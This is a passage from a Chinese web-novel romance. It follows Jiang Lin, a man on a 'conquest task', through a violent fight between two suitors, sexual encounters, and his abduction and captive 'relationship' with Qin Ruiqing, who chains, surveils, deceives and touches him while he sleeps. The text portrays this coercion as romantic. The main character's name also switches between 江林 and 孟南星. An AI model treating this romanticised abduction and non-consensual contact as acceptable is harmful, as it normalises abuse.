崔嘉树温温柔柔地开口,勾了勾他耳边的发丝,“别生气了宝宝,他就是个没脑子,哪里不舒服,我帮你好不好?” 江林拧了下眉,拍开他的手,骂了一句:“你也滚。” 但是崔嘉树可不是李炎诞这种一骂就害怕的狗,他手拽出江林的衣摆,解开他束缚,声音很低:“不滚宝宝,好啦,宝宝享受就好了。” 江林眉梢是一点点舒展的,崔嘉树安抚人和伺候人的本事都比李炎诞要强,他轻轻扯了扯崔嘉树的头发,呼吸缓了缓。崔嘉树朝着他露出一点笑容,眼睛弯了弯,亲了亲他的宝贝。 但车内呼吸最沉的还是李炎诞,他抓着方向盘的手捏成了拳头,手背上的青筋根根分明,双眼通红如血,甚至连后车的隔板都没有升起来,李炎诞感觉自己的脑袋里可能都有血管爆裂了,不然怎么会那么疼,目眦欲裂,肝胆巨疼。 他觉得自己刚刚挑衅的行为对于崔嘉树来说就是小儿的玩闹,这个贱货的心机比他重多了,浑身都气得发抖,视线无声地模糊了一声,耳边是喜欢人越来越起伏的呼吸声,还有淡淡的轻哼声。 李炎诞受虐似的,控制不住的看向后视镜,少年的脖颈舒展的,天鹅般修长漂亮,泛着浅浅的粉红,喉结无助的滚动着,眼底一片迷离水光,波光潋滟的好看,而崔嘉树只能瞧见一个低低的后脑勺。 “”李炎诞感觉喉间冒起了一点腥甜的味道,几乎被气得吐血了,如果不是江林还在车上,他也许会带着崔嘉树一起去死。 伴随着吞咽的声音,李炎诞眼尾湿润,眼泪飞速滑过硬朗的面容,长这么大,他只有不记事的时候哭过,记事以来这是他第一次哭,操他爹的崔嘉树! “舒服了吗宝宝?”崔嘉树趴在他膝盖上,额前都汗,仰头看着江林,满眼温柔。 江林抖了下腿,唇轻轻抿起,没有表态:“你起来。” 崔嘉树腿麻了,慢吞吞坐起来,余光瞥见李炎诞那沉默暴怒的模样,只觉得身心舒畅,从前从未感觉到过的畅快。他给江林递了纸巾,顺便自己擦了擦嘴,像是这才发现前面还有个人,虚伪地笑了笑:“哦,都忘记小炎在这里了,小炎应该不会生气吧。” 李炎诞一言不发,油门却踩到了最快,他觉得车内的空气中都让人窒息。 将近半个小时,车终于到了江林屋楼下,江林干干净净地下车,崔嘉树跟在他身后,李炎诞气冲冲地打开车门,一把领着崔嘉树的领子,拳头朝着那张惹人恶心的脸砸了过去,“你他妈的给老子死!” 崔嘉树顿时感觉鼻子传来剧痛,眼前一花,他连忙伸手反击,用手肘攻击李炎诞脆弱的纠结。李炎诞拎着他的领子,用力直接让他的头撞向了玻璃,力大无穷,车窗玻璃直接撞碎了。 崔嘉树顿时头破血流,但他狰狞的脸上扯起一抹笑:“小炎,你是个男人就现在打死我。” 李炎诞将他的脑袋按在地上,骑在他身上,一拳砸在他太阳穴上,毫不留手:“你以为我不敢?狗娘养的玩意儿,你敢这么耍我” “嫉妒吧,嫉妒死你,李炎诞”崔嘉树虽然毫无还手之力,但却不可能认输,呵呵笑起来。 “贱死了,你跟狗似的舔”李炎诞吐出一个粗暴的词语,不能在正经网站出现的。 “你舔不到急死了吧。”崔嘉树还击,李炎诞脑袋轰然一热,然后又是狠狠一拳,鼻血横流,再也说不出反击的话了。 江林先是一惊,随后便没了什么表情,没理会他们争论,自顾自地上楼了。 灯刚打开,坐在沙发上的秦锐清黑深的视线直直朝他看过来,如同冰一般冷,江林面色如常地开口:“还没睡吗?不早了。” “”秦锐清冷冷地看着他:“今天过得愉快吗?” “蛮愉快的。”江林揉了揉有些红的耳朵,倒了一杯冰水,让自己冷静了一下。 “楼下什么声音?”秦锐清明知故问。 江林随意胡扯:“两只狗打架。” 秦锐清:“” 没多久,门铃重新响起。 江林似笑非笑地看着面容越发冰冷的秦锐清,指了指客房。 秦锐清关上卧室的门,江林打开大门,门口是双眼通红的李炎诞,他捏紧的拳头上都是血。 “人死了吗?”江林这话问得蛮冷血的,似乎有些好奇。 “不知道。”李炎诞每一寸肌肉都紧绷着,微微颤抖着,像是在克制自己的怒气,怒目圆睁,似乎下一秒拳头就要挥到江林脸上。 江林云淡风轻的坐回沙发上,捧着杯子喝完最后一口冰水,抬眼安静的看着李炎诞,语气很轻:“所以你要连我也一起打了吗?” 李炎诞心口钝痛,像是有人在用锤子砸他的胸口,让他闷痛难忍,一下一下的凌迟,他高大的身躯缓缓弯下腰,仿佛承受不住这样的痛苦。 他蹲下后又半跪下一个膝盖,轻轻握住江林的手,发出沉闷的痛呼:“为什么啊,为什么我的心脏会这么难受,我明明没有心脏病的感觉像要死掉了一样。” 江林低头看着跪在他脚边的男人,强壮的身躯,暴躁的性格,目中无人的李炎诞露出痛苦不解的神情,他像是陷入迷宫的人,迟迟找不到出路,想要江林给他指点迷津。 “我”李炎诞眼圈红得仿佛要滴血,脸色很白,痛苦挣扎的男人试图得到一些安慰。 “因为炎哥真的喜欢我啊。”江林抬手抹了抹他的脸,眼神堪称温柔,细心地给他解惑:“但是我不喜欢你,所以很痛苦,很难受,爱而不得啊,炎哥。” 李炎诞胸膛更是像被撕裂了般,血肉模糊的伤口上被江林一下一下的刺入尖刀,拉出一道道深可见骨的伤口,他的脸色越发煞白起来,脑袋里只有嗡鸣声,感觉天塌了。 “我说得对吗?”江林低头问他,手指滑过他的眼尾,感觉到了湿濡的痕迹。 李炎诞下颌鼓动,咬牙承受着痛苦,脸侧肌肉紧绷着,却根本无法否认:“是,我爱你。” 在说出这句话后,他浑身仿佛如释重负,等待着江林的审判。 江林弯了弯唇,像是得到了满意的答案,声音压得低:“你们一个,两个啊,真的好恶心啊。” 李炎诞浑身一僵,江林又在对他进行凌迟,嗓音很柔,却如尖刀:“炎哥觉得我会喜欢一个施暴者吗?” “所以一切都是我故意的报复,你信吗?” “你没猜错,我从头到尾都在耍你。” 李炎诞的表情不能说用难看来形容了,神情宛如凝固住了,在表白之后,却被坦白从头到尾都是欺骗,瞳孔微微震动,难以置信的看着他。 他一直以为江林只是不喜欢他,但没想到原来都是一场报复 像李炎诞从小被捧在手心,疼在心尖的人,不可一世,自傲自负,现在被人耍了,应该怒不可遏才对,但他却没有,甚至震惊过后,开始对江林内疚和难受。 “那次中药,我故意给你发短信,没想到你这么蠢,这么容易就上钩了。”江林如果只是执行攻略任务,完全没必要告诉李炎诞这个事实。 但是凭什么,他就是想让李炎诞痛苦,爱而不得的痛苦还不够,就是要将他的尊严踩在脚底才觉得爽。 “我在你面前,没有两句真心话,都是装的。” “”李炎诞用力捏住江林的手腕,觉得浑身都痛得麻木了,眼前少年的眉眼依旧温柔,那种被戏耍的愤怒和爱意交织,他应该对江林动手的,可是舍不得啊。 江林的手腕被捏痛,他继续问:“炎哥,恨我吗?” 李炎诞牙齿在打颤,对他的满腔爱意让他说不出恨,但是他高傲的性格和极强自尊又让他说不出爱来,所以只能郁气于心,纠结至死,喉间腥甜乍现,胃部因为情绪太大,难受得痉挛。 他死死地盯着江林,眼神像是要将他拆骨入腹,又像是万般不舍,又恨又怨又爱。 “看来,还是不恨啊。”江林神情闪过一丝嘲弄,微微低头,声音很轻,凑近他,微微偏头似乎想要吻他:“炎哥人这么好,就再帮我一次吧。” 李炎诞眼眸沉痛,几乎绝望,说不出一句话来。 “你知道秦锐清在我这里吧。” 江林勾起他的下巴,睨着他痛苦挣扎的脸,漂亮的眸子弯了弯,低声道:“这也是对你的奖励啊,炎哥应该会很开心吧。” 两人吻在一起,江林能感觉到李炎诞的牙关在轻颤,唇舌交缠间,尝到了李炎诞咬破舌尖的血腥味,体温很烫,李炎诞就算知道江林在利用他,却还是拒绝不了他的任何行为。 李炎诞将江林压在沙发里,双眼如同狼般恶狠狠盯着他,肆意地品尝着江林的唇,手轻轻解开他的衬衣扣子,表情紧绷着,毫无笑容。 江林也抬手脱他的衣服,白皙如玉的手落在他硕大的胸肌上,声音清亮,感叹般道:“炎哥的肌肉是我见过最好看的。” “那你多摸摸。”李炎诞语气很沉,跨坐在他身上,低头埋进他的脖子啄吻,江林懒得争这些,轻轻抱住埋在胸口的脑袋,双眼湿红一片,声音从喉间发出,低沉暧昧 隔音效果极差的出租屋,秦锐清表情冷漠又麻木,太阳穴某根神经在凸凸地跳动着,他静静看着狭窄的房间,耳边是压抑又放纵的声音。 根本没有人管他的死活,他怀疑江林就是故意的,明知道他就在隔壁,还要和李炎诞这般要生要死的纠缠。 但转念一想,这是江林租的房子,他不在这里和男人搞,难道还要花钱出去吗? 秦锐清感觉自己浑身的血液都在血管下沸腾,所有的一切都在隐隐刺激着他的神经,他闭了闭眼,拳头都捏紧了,楼下传来救护车的声音,但很快又消失了。 李炎诞的粗喘声,好像很爽。 操! 秦锐清忍不住爆了粗口,这种被迫听墙角的感觉,真的让人很不爽啊 李炎诞感觉沙发都变得潮湿了,汗意挥洒,他忍不住低头看着乖乖躺在沙发上的江林,他红红的双眼正失神地看着他,让李炎诞产生了一种他也在为自己痴迷的假象。 他心中有些自我厌弃,他骂崔嘉树犯贱,现在自己不是也一样吗? 明明知道江林还在榨干他最后一点价值,仍在不留余地地帮他,自尊心在燃烧,但身体在违抗自身意志的战栗,含着江林的红唇不断地亲吻着,不舍、留恋 李炎诞完事后,没有离开,从身后抱住江林,不等江林询问,主动开口道:“做戏做全套。” 江林稍稍挑眉,没有拒绝。 这个晚上,只有江林好眠。 第二天醒来,他耳边就彻底清净了,秦锐清走了,李炎诞天没亮也离开了,他看着李炎诞攻略值高居不下的100%,很安心地睡了一个回笼觉。 崔嘉树好像伤得不轻,住了半个月的院,后面江林退租回到学校,按部就班地继续上学,李炎诞鲜少再出现在他面前,许是自尊心后知后觉的回归,不敢在出现在他面前。 秦锐清回到了公司和家族,同时让继姐以故意杀人锒铛入狱,国外情人逃窜回国。崔嘉树倒是一星期就会来找两次江林,傅清池回国之后,也鲜少有时间管他,正在认真夺权。 崔嘉树成为这里面和江林见面最多的人,没办法,像他这样无所顾忌,没有任何弱点的人,很难把他赶走。 从前亲情也许是他的弱点,现在却什么都不是了,他已经过了需要亲情的年纪。 眼见着没有多少机会继续任务,江林不准备坐以待毙继续做一些无谓的纠缠,他也申请了国外交换生的名额。 崔嘉树和江林站在学校人工湖旁边,“确定要出去吗?” 江林笑了笑,问他:“你要阻止我吗?” 现在李炎诞没再继续纠缠他,秦锐清不表态,崔嘉树成为唯一可能会阻止他的人。 “当然不会。”崔嘉树脸上依旧带着温和的笑意,“只是这两年可能会很难再见面了。” “想来你应该很高兴吧。” “我能够自由,当然开心。”江林坦白承认,从来没有在崔嘉树面前有过任何的掩饰。 “那我能去找你吗?”崔嘉树伸手拥抱了一下江林,在众多行人面前。 江林没有什么剧烈的反应,“我也拦不住你。” “我会想你的,宝宝。” “在外面要玩得开心,如果让我知道你受委屈了,我会把宝宝抓回来的哦。” 崔嘉树不阻止江林出国,因为国内并不安全,现在越来越多人知道江林和他们的关系,很多对手都开始打江林的主意了。 对于他的威胁,江林没当回事,他当然会让自己开心。 江林没有什么人需要告别,父母也非常支持他的学业,傅清池不会拦着他,甚至继续为他出资上学。 飞往国外的飞机很快启航 在国外江林最不习惯的应该就是这边的饮食,到了难以下咽的程度,还好他自己会做一点东西,倒也还算不错。 异国他乡,异域风情,但并没有想象的那么美好。 因为政策不同,入夜之后,随处可见的瘾君子,如同枯槁的男人和女人们聚在一起狂欢,江林家里准备了好几把枪/支,就是为了抵御频率在半月一次的入室抢劫。 江林适应得不错,毕竟比这艰难的也见多了。 这边天气常年黑沉沉的,天空像是有化不开的乌云,一年有半年的时间都在下雨。 两年一晃而过。 “哦,亲爱的,这是给你准备的草莓酱。”江林热情的邻居库克女士拦住了他,给了他一个漂亮的花篮,里面是今天他们家的收获,两罐新鲜的草莓酱,旁边偌大的农场就是他们家的。 “谢谢。”江林穿着件牛仔外套,微微卷翘的栗色头发,是他最近让理发师弄的。后颈有长长的狼尾,越发成熟的五官,褪去了少年人的稚气,出落得更加精致些,仿佛自带眼线的双眼弯弯的,带着含蓄温柔的笑。 他进入自己的小公寓,灯刚刚打开,黑影一闪,他还来不及掏枪,后颈一痛,视线就模糊了,手中的草莓酱摔碎在了木地板上,如同血一般逐渐淌了一地。 安静的出租屋,像是从未有人来过 等江林再次醒来的时候,后颈还在隐隐作痛,入目都是陌生的房间,意识逐渐恢复,手腕却被铁链绑在一起,他躺在柔软的床上,米色温馨的房间装修,三米长的大圆床,旁边的梳妆镜里面倒映着江林的样子。 他双眼微微瞪大,只见江林的简单休闲的服装已经被换掉,穿上了黑色蕾丝的情趣服装。 手腕被铁链锁住不说,脖子上也被戴上了皮制的项圈,牢牢锁着他脖颈。 江林表情有些冷,看着镜子中的男人,黑色的丝绸吊带裙,露出大片雪白的肌肤,脖子上的观音不见了,后背和前胸都虚虚掩着,蕾丝又透明,几乎毫无遮掩,但偏偏这个神经病还给他带了两个欲盖弥彰的女性胸罩,搞得色/情无比,下面是堪堪抱住屁股的短裙。 双腿更是眼前一黑,被换上了黑色吊袜,吊袜勒着他的腿肉,他不算健硕的大腿,被勒出了一个肉感十足的圆圈痕迹,原本笔直的腿更加显得性感纤细。 他一个成年男人,打扮成这样,实在有些违和,但因为江林肤白,身体比例好,又显得诡异地漂亮。 江林见状,表情更冷了,脚踝处还戴着个小铃铛,稍稍一动就会响。 他脑海里下意识闪过崔嘉树的名字。 但令他意外的是,门被打开,出现的居然是秦锐清,这个满脸写着性冷淡的骚/货。 第42章 明亮的房间, 四面都透着光,房间复古,窗帘都是丝绒材质的, 像个古朴的城堡,那人就这样走了进来。 两年不见, 秦锐清的样貌没有多大的变化,只是随着时间的沉淀,气势更加冰冷, 面上也是一种趋近于无情的冷感。 江林从傅清池那里能得到其他三位的讯息,秦锐清已经基本掌控的秦家, 两年的时间,让他坐稳了秦家家主的位置,他的父亲也已经意外身亡,身边再也没有可以限制他的人。 李炎诞正在逐渐接管公司,但并不是一个完全掌权的状态,他父亲李延成依旧不放心他, 毕竟他的性格易怒暴躁。 崔嘉树和龙雅定女士暂时处于一个和平阶段, 崔尼安的无用, 让崔家其他人不得不扶持崔嘉树上位。但崔嘉树很乖觉,这段时间一直在和崔家势力打太极, 和母亲的关系也不再似从前那么剑拔弩张, 据可靠消息得知,过年的时候,母子两人也是一起的。 秦锐清不紧不慢地走到江林跟前, 视线在江林身上一点点地沉甸、琢磨、描摹,仿佛正在找不同,想要看看江林和两年前有什么区别, 头发是否长了,样貌是否有变化,从前都是照片上看,这次才真的看到了真人。 他的眼神相比从前更加坚定锐利,看向江林的目光再无半点犹豫和回避,像是极具攻击性的狮子,此刻已经按住了自己的猎物。 两年前少年青葱的气息不见了,这两年秦锐清忍着从未见过江林,现在再见,却无半点陌生感,这是他期待已久的再见,是他的蓄谋已久,幻想过很多可能。 但却觉得这样的见面是极好的。 江林冷着脸的模样也很俊俏,柔软的卷发,栗色温柔的发色,眉宇如画,鼻梁高挺立体,双眸圆润黑亮,紧抿的红唇也显得极为精致漂亮,身体更是一览无余的美丽。 如同精心雕刻的雕像,女装好像更能展示他的美丽。 秦锐清走到床边,看着打扮得赏心悦目的江林,黑冰的眼瞳似乎闪过一丝笑容,他率先开口:“好久不见。” 江林抬眼看着他,他拳头捏得很紧,唇角抽搐了一瞬:“我请问呢,你要干什么?” “”秦锐清没有开口解释,只是伸手握住了他的脚踝,江林灵活的躲开。 他只能堪堪捉住他的脚心,江林抬脚去踹他,正好被秦锐清压住了膝盖,牵制住了打人的动作。 秦锐清打量少年气愤的眼神之后,冷淡评价:“这么多年不见,你还是半点没变,还是一样的漂亮又吵闹。” “你到底想干什么?”江林脸颊被气得有些红,容貌越发艳丽,眸若星辰,眼含愠怒,十分漂亮。 “只是想和你叙叙旧而已,何必弄这么紧张?”秦锐清似乎不懂为什么江林对他这么大的敌意,他只是想和他好好聊聊。 江林强忍怒意,问:“你想聊什么?先把我的手解开。” “好。”秦锐清如果可以半点也不想伤害他。 江林因为他的动作放松了些警惕,抿了抿唇,却下意识的很抗拒他。 “那你能放我离开这里吗?”江林忍住自己的恼火,主动抓着他的手,双眼带着期盼。 秦锐清盯着他瞧,眼底滑过一丝笑意:“可以,但不是今天,你很累了,一天没吃东西,我们先吃点东西,明天再说好吗?” 江林不想吃东西,但对上秦锐清的眼睛,又把拒绝咽了回去,跟着他老实下楼吃东西,桌上都是他爱吃的饭菜,肚子早就饿的咕噜咕噜叫了。 秦锐清一直在盯着他吃,自己一筷子没动,仿佛他吃饭的动作有多赏心悦目,但江林只觉得寒毛都被他看出来了。 他沉默的吃饭,囫囵吞枣的咽下,差点被噎到,秦锐清及时的给他递上一杯水。 江林原本想现在离开,但秦锐清说太晚了,让他先休息。 江林抵挡不住困意睡着了。 黑夜漫长,门缓缓打开又关上。 秦锐清静默几瞬,黑深不见底的眼透出滔天的占有欲,忍耐两年,就只是为了等待这样一个机会,根本一刻也不想再等,他要和江林永远在一起。 秦锐清不是什么善良之辈,相反他很冷血,利益至上,能够设计害死他亲爹,让无人能再威胁他的地位,唯一有血缘关系的继弟,现在也被人贩子远卖他国,再也无法回来。 当所有事情尘埃落定,所有的东西触手可得,他少年时的欲念开始膨胀,所以他向江林下手了。 他不认为自己多爱他,更多的是求而不得的不甘心和当初梦中曾经抓不住的点点温暖,以及想要将他完全独占的占有欲。 扭曲又阴湿的感情,秦锐清从来都不是什么正常人。 /// 江林再次醒来是第二天清晨,整个人的状态非常精神他从床上爬起来,第一时间就是试图打开门,却发现门紧锁着。 他从窗户往外看去,却发现外面被防盗窗封死,没有任何逃脱的可能。 江林冷静下来,在房间内寻找工具,最终让他破开了卧室的门,结果门口就站着一个保镖,他来抓江林。 江林往后退,让他抓了空,随即他狠狠的踹向保镖,两人扭打在一起,江林表情很冷,手腕被抓住他就用嘴咬,保镖被他的防抗逼出了些火气,下手也没了轻重,两人在扭打间,江林的脑袋狠狠撞在墙上,瞬间便没了意识 秦锐清接到消息马不停蹄的从公司赶来,病床上躺着抱着纱布的江林,脸色惨白,他忍不住蹙眉,他本没想把他逼成这样的,只是想让他先别反抗。 旁边失职的保镖不敢说话,被人带走了。 秦锐清守在他身边,心里有些乱。 江林是重点病房,医生说并无大碍,有些轻微脑震荡可能会出现恶心、头疼、头晕等症状 但江林醒来第一句话,却让他有些猝不及防:“你是谁?” 江林失忆了。 江林睁着无辜的大眼看着他,苍白又脆弱的脸庞,嘴唇也发白柔弱,在那害怕又无措的视线中,他几乎承受不住他这样的视线,但他却没躲,那张一向冰冷的脸上出现一丝笑容,他说:“我是你男朋友。” “男朋友?”江林重复这个称呼,似乎有些不敢相信,像个害怕的小动物般警惕的看着他。 “是的,你今天出去工作的时候不小心出了车祸,撞到了头。”秦锐清编织了一个谎言,想将江林套住。 “你是的男朋友,那你知道我喜欢吃什么?喜欢干什么吗?”江林试探的问道,纤细的手腕上青色的血管显得根根分明,白皙又脆弱。 “我当然知道。”秦锐清一一回答,他对这些早就背的滚瓜烂熟了。 江林像是逐渐放松了对他的警惕,露出一点笑容,在秦锐清主动牵手也不拒绝,露出一点乖顺的笑容:“我们什么时候在一起的?” “你上大学的时候我们就在一起了,我们是室友,在一起很多年了。”秦锐清抱住了江林,很轻很轻,像是对待珍宝。 江林受了伤很快就困了。 他静静在床边看了他一会,才慢条斯理地解开自己的领带,他俯身凑到了江林脸侧,轻嗅着他身体里那股令人着迷的香味,沉醉又痴迷。 秦锐清的动作很慢,虔诚又虚伪地吻了吻他的眉心,拢着江林的后颈捏捏,啄吻在脸颊,像是在品尝他皮肉的味道,先是吻,再是舔,最后嘬住右侧脸那边柔软含在嘴里轻咬起来。 江林只是睡着,面上一派毫无意识,毫无所觉,就算睡着了,也能轻易地勾得人心潮澎湃,血脉偾张。 秦锐清也根本不需要江林的回应,自顾自的享用着自己的男朋友 若是有秦锐清的朋友或者合作伙伴此刻出现在房间里,只怕要吓死,生意场上年少有成,手段狠厉,被称为冷面阎王的秦总,此刻正趴在一个男生身上,痴迷地舔吻着他的唇角,像个疯狂的信徒,毫无理智和廉耻可言。 期间江林迷糊醒来,先被吓了一跳,发现是秦锐清后,便主动的勾着他的脖子,问:“你在干什么呢?” “很担心你,所以想亲亲你,看看是不是真的” 江林还会主动回吻他,让他安心,也顺理成章的答应了秦锐清的所有要求 直到天光微亮,混乱的一夜才堪堪停住。 秦锐清第一次觉得冰冷的病房被赋予了特殊的意义,江林太乖了,他满足又眷恋,抱着仍在熟睡的江林沉沉入睡,连梦里都是大汗淋漓的得偿所愿。 而江林失踪的消息,也根本瞒不住其他人。 崔嘉树接到了江林邻居的电话,江林今早没出门,但敲门也无人应答,房间里已经人去楼空。 崔嘉树微微皱眉,他刚刚挂了电话,李炎诞兴师问罪的电话就打了进来。 “你是不是把他带走了?”李炎诞这两年和崔嘉树针锋相对,堪称劲敌。 崔嘉树语气温和:“我还想问你呢?是不是又犯贱了。” “不是你?”李炎诞不确定。 “不是。”崔嘉树斩钉截铁地回答。 “难道是傅清池?”李炎诞语气有些沉。 他在这期间他一直没和江林联系,不代表不喜欢,而是不愿意打扰也不愿意他受到威胁,但一直都默默关注着他,在江林需要什么的时候,他竭尽权力给他得到。 如今消失的消息一出,他顿时就心急如焚了。 “不知道。”崔嘉树和他挂了这个无意义的电话,开始着手调查 江林第二天醒来,秦锐清还在他身侧睡着,高级病房的床宽敞无比,睡下两个人绰绰有余,他静静看着秦锐清的脸,觉得陌生又熟悉,秦锐清似乎察觉到他的视线,慢慢睁开双眼。 “醒了?有什么难受的地方吗?”秦锐清摸了摸他的脸。 江林的脸却红了,脑海中似乎想起了昨晚的一些画面,支支吾吾道:“不难受,就是有些饿了。” 秦锐清知道昨晚自己太着急了,但他迫不及待的想要和江林亲近,他等这一天等的太久了,他说:“我帮你给公司请了半个月的病假,等修养好了再去工作。” “这么久?”江林他的常识告诉他,一般的公司是不会允许员工请这么久的假期的。 “嗯,我都帮你处理好了。”秦锐清坐起来,里面就穿了条内裤,江林拿被单捂着自己的身体,表现的极为羞涩。 “想吃什么,我给你去买。”秦锐清像个优质的男友,看着冷,却很暖心。 “随便。”江林不太挑食。 等他离开,江林脸上的懵懂无知才散去,他根本没有失忆,在那种情况下,装失忆才是对自己最有利的 江林在医院观察了两天,发现除了短暂记忆混乱消失,并没有其他不适,医生同意他们出院了。 “哇,你这么有钱哇。”江林看着秦锐清的大别墅,瞪大了双眼,像是捡到宝似的露出惊讶的表情。 “你喜欢的话可以送给你。”秦锐清揽着他的腰,双眼沁透了对江林的占有欲,他不管是在医院还是在家里都非常喜欢和江林接吻。 所以江林刚刚抬脸,就被秦锐清吻住了,辗转一瞬后松开,他说:“你想不想把爸妈接过来,我送你一套这样的房子给他们住好不好?” 江林的脸热乎乎的,眼睛也湿了,却露出纠结的神色:“不能这样,你太亏了吧。” “你爱我,我就不亏。”秦锐清眼瞳黑深,在江林说出我当然爱你的话后,将人抱进了房间,晚上两人才出来。 /// 两人像是热恋期的情侣,江林说想出去看电影,秦锐清就推掉所有的工作陪他去;江林大晚上说想去夜跑,两人便延着江跑了个来回;江林说想去做游轮赏夜景,秦锐清便买下了一艘游轮,两人在船板间接吻,说着一些溺死人的甜言蜜语 半个月的时间,做了很多事情。 江林对秦锐清唯一不满的是他每天晚上都会缠着自己,各种挑逗他,根本不管两人的身体能不能承受的住,后来他给偷偷给秦锐清买了玩具,结果秦锐清还不高兴了,一晚上在书房没回来,到了后半夜才爬到床上睡。 他睡得迷迷糊糊被秦锐清亲醒来,便闷闷笑道:“你不生气啦?” 秦锐清冷哼一声,语气中带着恼火,他咬了咬江林脸颊的腮肉,嘬了一口,闻着他身上的香味,顿时什么气都没了,只是道:“不准再买那些乱七八糟的。” “但是我真的很累哇。”江林泪眼汪汪哭丧着脸,“这样我真的可能会生病噢。” 秦锐清静默看了他一眼,退了一步,“我知道了,我会注意的。” “就知道你最好啦。”江林奖励的亲了亲他的脸,然后又陷入了梦想,秦锐清抱着他整夜整夜睡不着觉,难耐时也只是亲亲他的后颈 这天两人刚睡,便听见门口传来敲门声,是管家的声音,说下面有客人来访,江林眼皮根本睁不开,背过身去,含糊地问道:“是谁啊?” “我朋友,你继续睡,我马上回来。”秦锐清在江林脸上反复吻了几下,落下印记似的,才去浴室洗漱,换上睡衣下楼接待不速之客。 江林的房间在楼顶隔层,一般人根本找不到进入的门。 崔嘉树已经确定江林就在秦锐清手上,但他却拿他拿他没办法,江林是在国外消失的,且根本没有任何证据是秦锐清带走的。 他将痕迹抹除得很干净,如果不是他盯得紧,也许根本发现不了。 越是干净越是可疑。 秦锐清姗姗来迟,穿着黑色睡衣,湿漉漉的发尾,就算面色如常,崔嘉树还是敏锐地察觉到了一些不对劲。 “秦哥,我大晚上打搅,不会打扰了你办事吧?”崔嘉树眯眼笑了笑,慢条斯理地开口,先是祝贺:“还没恭喜秦总把海丰项目顺利拿下,以后金海海航线基本上是秦家的天下了。” “客气。”秦锐清疏离弯了弯唇,并没有多少明显的笑意。 两人的视线在空中相遇,崔嘉树继而继续说道:“不知道最近秦总有没有出国?” “没有,一直在国内。”秦锐清不理会他的试探。 “哦,这样啊,那秦总最近有没有孟南星的消息呢?”崔嘉树给秦锐清递了一根烟,语气温和:“十天前,他在罗国消失,活不见人,死不见尸。” “我很久没和他联系过了。”秦锐清语气很平淡,市区很大,想要偶遇一个人根本不容易。 “是吗?”崔嘉树拿起茶几上那块陈旧的观音牌,上面有了一道裂缝,他把玩在手上:“那宝宝的观音玉怎么会在这里呢?” 秦锐清面色清冷,处事不惊:“崔总看错了,这是我们家保姆的东西。” 崔嘉树脸色逐渐冷下来,语气也没有之前的温和:“你知道我是不会反对你追求他的,但你如果想要独占或者藏人是不是就不太礼貌了,我这么多年守着的人” “我说了,我和他没联系。”秦锐清依旧坚持,视线冷然,他的确没有藏起来,是江林主动留在他身边的。 “我现在只是在和你商量,如果你执意不肯放人,我绝对不会放弃的。虽然海丰项目的确收益丰厚,但你是不是忘记了,金海百分之七十的港口是崔家的项目?”崔嘉树露出一点威胁之意,“你确定要和我鱼死网破吗?” “请便。”秦锐清软硬不吃,刀枪不入。 “时间不早了,陈伯送客。”秦锐清不欲和他多聊,站起身来准备离开。 “秦锐清!”崔嘉树叫住他,打起了感情牌:“我们这么多年交情,你给我透个底,孟南星现在还好吗?” 秦锐清脚步没停,没有回答他的问题。 崔嘉树眉眼一沉,双眼阴鸷森冷。 江林昏昏欲睡之际,听见了脚步声,秦锐清亲了亲他的额头,双眼黑深冷漠,他不允许任何人来打扰他的生活。 江林蹭来蹭他的下巴,语气很软:“处理好了吗?” “嗯,是来谈生意的,我让明天去公司找我。”秦锐清揉了揉他的脑袋,开始脱江林的衣服,江林也没拒绝,肩膀被亲了一下,才睁开一只眼睛,问他:“我明天能去工作了吗?” “当然可以。”秦锐清顺着他的锁骨密密麻麻的吻了下取,满足的吞咽着口水 江林的工作场地是在秦氏不起眼的一家小公司里,里面的员工像都认识他,和他打招呼,给他安排最轻松的工作,江林都无聊得和秦锐清发消息轰炸他,秦锐清也回得很快。 秦锐清给他安排了手机和工作,并没有阻断他和外界联系,他也能自由出入,只是他‘失忆’了,所以没办法联系朋友们。 江林下班是司机来接的,他回到家的时候,秦锐清还没下班,他坐在沙发上玩游戏,却突然被保姆叫住,女保姆问他:“你能帮我一个忙吗?” 江林点头。 女保姆将他带到了花园里面偏僻的脚落,这里没有摄像头,江林拧眉,有些疑惑道:“你到底要干什么?” 她嘘了一下,好像没有恶意,掏出自己的手机,放在江林耳边,正在通话中的界面。 “喂?”江林表情很冷静,声音轻哑半点不像有事儿的人。 “小星。”电话那头是傅清池的声音,因为两人有时候会开线上会议,所以对他的声音还算比较熟悉。 “我准备救你出来,你能不能找机会到”傅清池的声音颇为着急,一直悬着的心在这一刻仿佛得到了救赎,一向沉稳的声音急切起来。 “傅清池。”江林打断他的话,望着保姆回避的视线,语气平淡,并不感激,他也不是真的受制于人,也不是真的失忆。 “不要管我。” “那怎么行?”傅清池拧着眉,豁然从书桌前站起身,准备拿起外套往外走,情况紧急,他现在就想把江林救出来。 “这可能是你唯一能报仇的机会,傅总。”江林轻飘飘的却如同有千斤重,止住了傅清池的脚步。 “”傅清池面色一沉,他从不觉得自己多厉害,否则不会这么多年都没有报仇,相反他也从来不觉得秦锐清是蠢货,所以当江林说这是他唯一能赢的机会时,他控制不住地心动。 “那你怎么办?就这样放任他欺负你吗?”傅清池像是陷入两难的境地,理智和情感在不断拉扯,眼前闪过江林的脸,又想起这么多年的忍辱负重。 “他没有欺负我。”江林懒得继续和他聊下去,看了一眼保姆,道:“挂了吧。” 保姆有些不确定,没敢挂。 “你最好是快点离开这里,如果让秦锐清知道你是傅清池的人,你的下场会很惨的。”江林提醒她,保姆匆匆收拾东西辞职了。 他几乎能够预料傅清池会怎么选择。 一个只是报仇时有过几次暧昧的伙伴,一个是千载难逢的复仇机会,会怎么选,谁都不会犹豫的。 他不会觉得失望,男人这种生物,最会的就是趋利避害,损人利己,利益至上。 傅清池放下手机,重新回到椅子上,心中无边的失落无法用任何东西填满,他知道今天的选择让他和江林再无机会和可能。 他瞻前顾后,心思太重,顾虑太多,爱情注定排在后面。 第43章 保姆走了之后, 江林回到自己的房间,洗完澡换上了睡衣,呆呆站在窗户前, 阳光透过窗户,他隔着窗户望着外面的偌大的庄园和蔚蓝的天空, 油然而生的一种不安全感,自己犹如那笼中鸟,没有自由和飞翔的权力。 房间内四个角都有摄像头, 同样的浴室、书房、客厅等等都不满了摄像头,摄像头直接关联着秦锐清的手机, 全方位对江林进行着监控。 花团锦簇,生机勃勃,初春的风带着丝丝凉意,江林穿着柔软的白色睡衣,环抱着自己膝盖,眺望着外面修剪花枝的园丁, 但他无法跳下去, 因为外面有新装的围栏。 他正在发呆, 没有发现男人的靠近,直到他从身后抱住自己。 “你在看什么呢?”秦锐清含着他的耳尖。 “我刚刚好像看见一只小鸟飞了进来, 但是现在又飞出去了。”江林神情有些迷惘, 